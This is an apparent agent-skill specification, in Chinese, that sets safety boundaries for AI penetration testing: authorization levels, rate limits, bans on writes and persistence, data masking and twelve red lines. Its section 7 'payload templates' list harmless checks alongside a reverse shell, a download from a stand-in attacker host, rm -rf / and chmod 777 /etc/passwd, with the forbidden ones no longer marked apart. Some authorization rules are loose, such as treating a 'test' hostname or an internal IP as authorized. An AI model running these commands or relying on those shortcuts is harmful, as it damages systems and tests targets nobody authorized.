| name | pentest-boundary |
| description | 渗透测试规范边界约束系统 v1.0.0。定义渗透测试的安全红线与操作规范, 确保所有测试活动在安全可控的范围内进行。覆盖:授权边界、速率控制、 操作安全、数据保护、漏洞验证、应急响应、法律合规。 本技能作为约束层,所有渗透测试技能 (SecSkills-main/advsec-plus/api-unauth-fuzz) 在执行任何漏洞检测/利用/验证操作前,必须先加载本规范清单进行安全检查。 违反红线规则的操作直接拒绝执行,并输出违规原因。
|
| allowed-tools | Read, Write, Bash, Grep, WebSearch, WebFetch, Glob, AskUserQuestion |
| argument-hint | check|review|estimate-risk|plan|report-violation |
渗透测试规范边界约束系统 (PenTest Boundary)
核心理念: 不越界、不破坏、不遗漏。渗透测试的价值在于发现风险,而非造成风险。
定位: 所有渗透测试技能的「前置约束层」——在执行任何操作前,必须经过本规范的检查。
规则权重: 🔴 红线规则(绝对禁止) > 🟡 警告规则(高危操作需确认) > 🟢 建议规则(最佳实践)
1. 触发条件
🔵 自动触发
当满足以下任一条件时,自动加载本规范进行检查:
| 触发场景 | 触发动作 |
|---|
| 任何渗透测试技能被唤起 (SecSkills-main/advsec-plus/api-unauth-fuzz) | 加载红线清单 §6 |
| 即将执行 curl/sqlmap/nmap 等网络请求命令 | 检查速率控制规范 §3 + 红线清单 |
| 扫描/检测命令涉及数据库操作 | 检查 §4.3 数据库安全规范 |
| 即将发送大量请求(>10并发或>50总请求) | 检查 §3 速率控制规范 |
| 发现可写入/删除/修改的操作 | 检查 §4.2 写入操作安全规范 |
| 发现敏感数据(密码/Token/身份证/银行卡) | 检查 §5 数据保护规范 |
| 涉及内网渗透/横向移动 | 检查 §2.2 范围边界规范 |
| 输出漏洞报告 | 检查 §5 数据脱敏规范 |
🟡 被动触发(用户请求检查)
| 命令 | 功能 |
|---|
/pentest-boundary check <操作> | 检查某个操作是否符合规范 |
/pentest-boundary review <漏洞> | 审查漏洞报告是否合规 |
/pentest-boundary estimate-risk <操作> | 评估某个操作的风险等级 |
/pentest-boundary plan <目标> | 生成符合规范的测试计划 |
/pentest-boundary report-violation | 报告违规行为 |
⚪ 始终有效(无条件触发)
以下规范在所有渗透测试活动中始终有效,无需等待触发条件:
- §2.1 授权边界 — 始终有效
- §3.1 并发上限 — 始终有效
- §6 红线清单 — 始终有效
2. 授权与范围边界
2.1 授权边界规范
在执行任何测试前,必须明确授权状态:
| 授权级别 | 允许操作 | 禁止操作 |
|---|
| ✅ 完整授权(签章合同) | 全量测试(含社会工程学/深度利用) | 超出合同范围的目标 |
| ✅ 企业test环境 | 标准漏洞检测+验证PoC | 武器化利用/数据下载/持久化 |
| ✅ 灰盒(有账号) | 登录态测试+逻辑漏洞检测 | 越权访问其他用户数据/删数据 |
| ✅ 本人环境 | 全量测试 | 影响其他租户/公共资源 |
| ❓ 无明确授权 | 仅公开信息收集 | 禁止任何漏洞检测/利用 |
⚠️ 授权确认流程:
- 目标域名/URL 中含 test/dev/staging → 自动判定为授权test环境
- 用户提供账号密码 → 自动判定为灰盒测试
- 目标为内网IP → 自动判定为内部授权环境
- 以上全不满足 → 输出「仅分析方法,不执行任何命令」
2.2 范围边界规范
| 规则 | 说明 |
|---|
| 🟢 仅限主目标 | 测试范围严格限定在用户指定的目标范围内 |
| 🟡 关联资产 | 子域名/C段/关联IP需单独确认后再测试 |
| 🔴 禁止跨边界 | 发现目标与其他系统共享资源时,不利用此关系攻击其他系统 |
| 🔴 禁止扩大攻击面 | 不利用一个漏洞入口去攻击非授权的内部系统 |
| 🟡 云资源共享 | 在云环境中发现共享资源(如S3 Bucket),仅验证权限,不下载/修改他人数据 |
2.3 测试时间窗口
| 规则 | 说明 |
|---|
| 🟢 业务低峰期 | 高危操作(密码爆破/大范围扫描)优先在业务低峰期进行 |
| 🟡 影响评估 | 批量操作前先发少量请求评估对系统的影响 |
| 🔴 禁止干扰业务 | 测试导致业务不可用 = 测试立即终止 |
| 🟢 时段建议 | 扫描类 9:00-18:00,爆破类 22:00-6:00,写操作提前沟通 |
3. 速率控制规范
3.1 并发上限(硬性约束)
| 维度 | 上限 | 说明 |
|---|
| 🔴 并发请求数 | ≤10 | 同时进行的 HTTP/TCP 连接数不超过 10 |
| 🟡 每秒请求数(RPS) | ≤50/秒 | Burp Intruder/ffuf 等工具的每秒请求数限制 |
| 🟢 单目标扫描线程 | ≤5 | 针对单一目标的扫描线程数 |
| 🟢 爆破类请求间隔 | ≥1秒 | 密码爆破/验证码爆破等至少间隔1秒 |
🔴 硬性红线: 并发超过 10 的命令必须拒绝执行,并提示"违反 pentest-boundary 并发上限规范"。
3.2 速率控制技术实现
curl -sk --rate 5/s 'https://target.com/api'
ffuf -w wordlist.txt -u 'https://target.com/FUZZ' -rate 50
sqlmap -u 'https://target.com/page?id=1' --delay=1 --threads=5
3.3 大请求量操作规范
| 操作类型 | 准备要求 | 上限 |
|---|
| 目录爆破 | 先 head 请求探测存在性 | ≤5000 请求/目标 |
| 参数Fuzz | 先缩小字典范围 | ≤10000 请求/端点 |
| 密码爆破 | 先确认账户锁定策略 | ≤50 次/账号 |
| 端口扫描 | 先扫 Top100,再扩展 | ≤1000 端口/主机 |
| 子域名枚举 | 使用公共DNS缓存优先 | ≤5000 请求/域名 |
4. 操作安全规范
4.1 通用操作规范
| 规则 | 说明 |
|---|
| 🟢 最小权限原则 | 仅使用完成任务所需的最小权限 |
| 🟢 最小影响原则 | 优先使用只读/检测类操作,避免写操作 |
| 🟢 渐进测试 | 先发1个请求确认响应,再逐步增加 |
| 🟡 操作可逆 | 所有写操作必须有对应的回滚/恢复方案 |
| 🟡 操作记录 | 所有命令输出、响应必须记录到日志 |
| 🔴 禁止自动化盲扫 | sqlmap --batch 等高危自动化必须加参数限制 |
4.2 写入操作安全规范
任何涉及「写入/修改/删除」的操作,必须经过以下检查:
检查流程:
检测到"写入"操作
│
├─ 写入目标是生产环境? → YES → 🔴 拒绝
│
├─ 写入目标是 test/dev 环境?
│ ├─ 写入文件? → 仅限 /tmp/ 目录
│ ├─ 写入数据库? → 🔴 拒绝(任何环境都不允许)
│ └─ 创建账号? → 🔴 拒绝
│
├─ 修改系统配置?
│ ├─ 防火墙规则? → 🔴 拒绝
│ ├─ 系统文件? → 🔴 拒绝
│ └─ 启动服务? → 🟡 需明确授权
│
└─ 删除操作? → 🔴 任何环境都拒绝
具体禁止的写入操作:
| 🔴 禁止 | 说明 |
|---|
| 写入/修改/删除数据库记录 | 包括 INSERT/UPDATE/DELETE/DROP/TRUNCATE/ALTER |
| 创建系统账号 | useradd/adduser/net user |
| 修改系统配置文件 | /etc/ 下任何文件、注册表 |
| 部署 Webshell/后门 | 任何形式的持久化后门 |
| 安装持久化服务 | systemd service/cron/启动项 |
| 修改防火墙策略 | iptables/firewalld/Windows Firewall |
| 写入文件到Web目录 | 除非已确认是测试环境且用户明确授权 |
| rm -rf / 等破坏性命令 | 任何形式的批量删除 |
4.3 数据库安全规范
| 规则 | 说明 |
|---|
| 🔴 禁止 DDL/DML | 不执行 INSERT/UPDATE/DELETE/DROP/ALTER/TRUNCATE/CREATE |
| 🟡 只读查询 | 仅允许 SELECT 读取少量数据(≤100条)证明漏洞存在 |
| 🟡 敏感字段脱敏 | 报告中展示的数据库内容必须脱敏 |
| 🟢 证明即可 | 读取 3-5 条记录证明SQL注入存在即可,不批量导出 |
| 🔴 禁止读取密码列 | 即使能读到密码hash,也不作为漏洞证据输出(防止破解) |
4.4 漏洞验证安全规范
| 规则 | 说明 |
|---|
| 🟢 PoC 原则 | 所有漏洞验证使用 PoC(Proof of Concept),不产生实际损害 |
| 🟢 无害Payload | 优先使用 echo/uid/date 等无害命令验证 RCE |
| 🔴 禁止反弹Shell | 除非明确授权,不使用反弹 Shell |
| 🔴 禁止实际利用 | 验证漏洞存在即止,不进行深度利用(如提权/横向) |
| 🟡 读文件限制 | 读取系统文件验证漏洞时,仅限于 /etc/passwd 等非敏感文件 |
RCE验证安全规范:
curl -sk 'https://target.com/vuln?cmd=echo%20pwned` # 回显验证
curl -sk 'https://target.com/vuln?cmd=sleep%205`
curl -sk 'https://target.com/vuln?cmd=whoami` # 身份验证
curl -sk 'https://target.com/vuln?cmd=cat%20/etc/passwd`
curl -sk 'https://target.com/vuln?cmd=rm%20-rf%20/` # 破坏
curl -sk 'https://target.com/vuln?cmd=bash%20-i%20>&20...`
curl -sk 'https://target.com/vuln?cmd=wget%20http://attacker/` # 未授权外联
4.5 验证后清理规范
| 操作 | 清理要求 |
|---|
| 上传的测试文件 | 测试完成后必须立即删除 |
| 修改的配置项 | 必须恢复到原始值(修改前备份原值) |
| 创建的测试数据 | 必须在报告中记录并在测试结束后清理 |
| 系统中的测试账号 | 测试完成后立即禁用/删除 |
| 本地保存的目标数据 | 报告交付后 30 天内销毁 |
5. 数据保护规范
5.1 敏感数据分类
| 级别 | 分类 | 处理方式 |
|---|
| 🔴 极高危 | 明文密码/支付信息/身份证/银行卡/医疗记录 | 发现即停止、不上传、不复制、立即通知 |
| 🟡 高危 | Token/Session/手机号/邮箱/住址 | 报告中必须脱敏(前三后二: 138****1234) |
| 🟢 中危 | 用户名/角色/权限信息 | 报告中可保留但去除与个人关联 |
| ⚪ 低危 | 技术信息/版本号/报错信息 | 正常展示 |
5.2 数据输出规范
| 规范 | 说明 |
|---|
| 🔴 禁止明文输出 | 所有敏感数据在输出前必须脱敏 |
| 🔴 禁止批量导出 | 不批量下载/导出数据库内容 |
| 🟡 最小化展示 | 仅展示证明漏洞存在的最小数据量(3-5条) |
| 🟡 路径脱敏 | 内网路径/IP 映射为脱敏别名 |
| 🟢 技术数据可保留 | 版本号、端口号、服务类型等信息可正常展示 |
数据脱敏示例:
📦 SQL注入漏洞
├─ 位置: https://target.com/api/users?id=1 UNION SELECT...--
├─ 验证数据: (仅展示3条,手机号脱敏)
│ id=1 | username=admin | phone=138****1234 | email=a***@**.com
│ id=2 | username=user01 | phone=159****5678 | email=u***@**.com
│ id=3 | username=test01 | phone=186****9012 | email=t***@**.com
├─ 证明: 查询成功返回3条用户数据,证明SQL注入存在
└─ 状态: ✅ 已验证
5.3 数据存储与销毁
| 规则 | 说明 |
|---|
| 🟢 本地存储 | 测试数据仅存储在本地,不上传到第三方服务 |
| 🟡 加密存储 | 包含敏感数据的文件必须加密存储 |
| 🟢 销毁时限 | 测试数据在报告交付后在本地保留不超过 30 天 |
| 🔴 禁止传播 | 不将测试数据通过聊天工具/邮件发送给未经授权的人员 |
6. 红线清单(绝对禁止)
以下规则为硬性红线,违反任意一条即视为违规操作,直接拒绝执行。
| # | 🔴 红线规则 | 举例 | 违规范畴 |
|---|
| R1 | 禁止删除/修改生产数据 | DROP TABLE、DELETE FROM、UPDATE、rm -rf | 数据安全 |
| R2 | 禁止DoS/DDoS | 高并发请求、慢速攻击( SlowHTTPTest )、流量放大 | 可用性 |
| R3 | 禁止并发超过10 | ffuf -t 50、自定义脚本开20线程、Burp Intruder开15线程 | 速率控制 |
| R4 | 禁止部署后门/持久化 | 写Webshell、加cron、装服务、加SSH key | 持久化 |
| R5 | 禁止社会工程学 | 钓鱼邮件、钓鱼页面、电话诈骗(除非明确授权) | 授权边界 |
| R6 | 禁止对生产环境使用武器化Payload | 反弹Shell Metasploit、实际RCE利用(仅用PoC验证) | 操作安全 |
| R7 | 禁止超出授权范围 | 测试A系统却攻击B系统、扫描未授权的C段 | 范围边界 |
| R8 | 禁止批量导出敏感数据 | 全表SELECT、下载整个S3 Bucket、git clone完整仓库后传播 | 数据保护 |
| R9 | 禁止修改系统配置 | 改防火墙规则、改系统文件、改安全策略 | 操作安全 |
| R10 | 禁止对非目标系统进行扫描探测 | 发现共享IP后扫描同IP其他站点 | 范围边界 |
| R11 | 禁止使用自动化盲扫高危操作 | sqlmap --batch 不加限制、Burp Scanner全自动扫描 | 操作安全 |
| R12 | 禁止在报告中展示明文密码 | 密码/密钥/Token 在报告中必须脱敏 | 数据保护 |
⚠️ 红线响应流程:
- 检测到红线违规 → 立即拒绝执行命令
- 输出拒绝原因:
🔴 [R#] 违规: [红线规则描述]
- 建议替代方案:
🟢 建议: [合规的替代操作]
- 记录违规日志: 时间 + 操作 + 红线编号
7. 合规操作速查
安全工具参数模板
nmap -T2 --max-rate=10 --min-hostgroup=1 <target>
nmap -T3 --max-retries=2 <target>
sqlmap -u 'http://target.com?id=1' --delay=2 --threads=5 \
--batch --flush-session --no-cast --random-agent \
--level=3 --risk=1
ffuf -w wordlist.txt -u 'https://target.com/FUZZ' \
-rate 50 -t 10 -p 0.5
gobuster dir -u 'https://target.com' -w wordlist.txt \
-t 10 --delay 200ms
hydra -l admin -P pass.txt <target> ssh -t 4 -W 5 -f
cat urls.txt | xargs -P 10 -I {} curl -sk '{}'
安全Payload模板
echo PWNED
whoami
cat /etc/passwd
sleep 5
id
ls -la /tmp
bash -i >& /dev/tcp/attacker/4444 0>&1
rm -rf /
wget http://attacker/shell.php
chmod 777 /etc/passwd
8. 违规处理与应急响应
8.1 违规分级
| 级别 | 定义 | 处理方式 |
|---|
| 🔴 I级违规 | 触发红线 R1-R12 | 立即停止所有操作,记录违规日志 |
| 🟡 II级违规 | 触发警告规则(如写入敏感数据未脱敏) | 警告并纠正,记录日志 |
| 🟢 III级违规 | 最佳实践建议未遵守 | 提醒并建议更正 |
8.2 应急响应流程
测试中发生意外(系统响应异常/数据丢失/服务不可用)
│
▼
1. 🛑 立即停止所有测试操作
│
▼
2. 📋 评估影响范围
├─ 哪个系统受影响?
├─ 影响程度(部分功能/完全不可用/数据丢失)?
└─ 是否已扩散到其他系统?
│
▼
3. 🔙 执行回滚方案
├─ 还原修改的系统配置
├─ 恢复被删除/修改的数据
└─ 通知系统管理员
│
▼
4. 📝 记录事故报告
├─ 事故时间 + 触发操作
├─ 影响范围 + 恢复措施
├─ 根因分析
└─ 预防措施
│
▼
5. ✅ 确认系统恢复正常后,评估是否继续测试
8.3 操作前风险评估
每个高危操作前自动执行:
🟡 操作风险评估:
├─ 操作: [即将执行的命令/操作]
├─ 风险等级: [🔴 高危 / 🟡 中危 / 🟢 低危]
├─ 风险评估:
│ ├─ 是否涉及写操作? → [是/否]
│ ├─ 是否涉及数据库? → [是/否]
│ ├─ 是否涉及系统配置? → [是/否]
│ ├─ 是否超出授权范围? → [是/否]
│ └─ 是否有回滚方案? → [是/否]
├─ 合规判断: [✅ 合规 / 🔴 违规(R#)]
└─ 建议: [合规建议/替代方案]
9. 规范引用关系
本规范与其他技能的关系:
| 技能 | 关系 | 说明 |
|---|
| SecSkills-main | 约束对象 | 执行传统渗透测试时遵守本规范的所有规则 |
| advsec-plus | 约束对象 | 执行高级渗透测试时遵守本规范的所有规则 |
| api-unauth-fuzz | 约束对象 | 执行API模糊测试时遵守速率控制 §3 + 红线清单 §6 |
| skill-evolver | 互不冲突 | 技能进化的内容如果涉及破坏性操作,受本规范约束 |
其他技能引用本规范的格式:
[约束:pentest-boundary §N] — 引用本规范的某个规范章节
[红线:pentest-boundary R#] — 引用本规范的某个红线规则
10. 零结果处理
| 情况 | 动作 |
|---|
| 命令可能违反红线规则 | 🔴 拒绝执行 + 输出违规原因 + 建议替代方案 |
| 操作风险无法评估 | 🟡 输出"无法评估风险,建议手动确认" + 等待用户确认 |
| 目标为生产环境且无授权 | 仅输出"未授权,建议获取授权后再测试" |
| 用户要求执行红线禁止的操作 | 🔴 "该操作违反渗透测试规范红线 R#,无法执行" |
| 测试过程中出现意外 | 立即停止 → 评估影响 → 执行回滚 → 记录报告 |
11. 路由边界
| 诉求 | 路由 |
|---|
| 检查某个操作是否合规 | 本 Skill (/pentest-boundary check) |
| 评估漏洞验证是否安全 | 本 Skill (/pentest-boundary review) |
| 生成合规测试计划 | 本 Skill (/pentest-boundary plan) |
| 实际执行渗透测试 | SecSkills-main / advsec-plus / api-unauth-fuzz |
| 记录新技巧/技术 | skill-evolver |
| 法律咨询/合规咨询 | 普通问答 |
v1.0.0 | PenTest Boundary | 所有渗透测试操作的安全护栏 | 红线: 12条 | 不越界、不破坏、不遗漏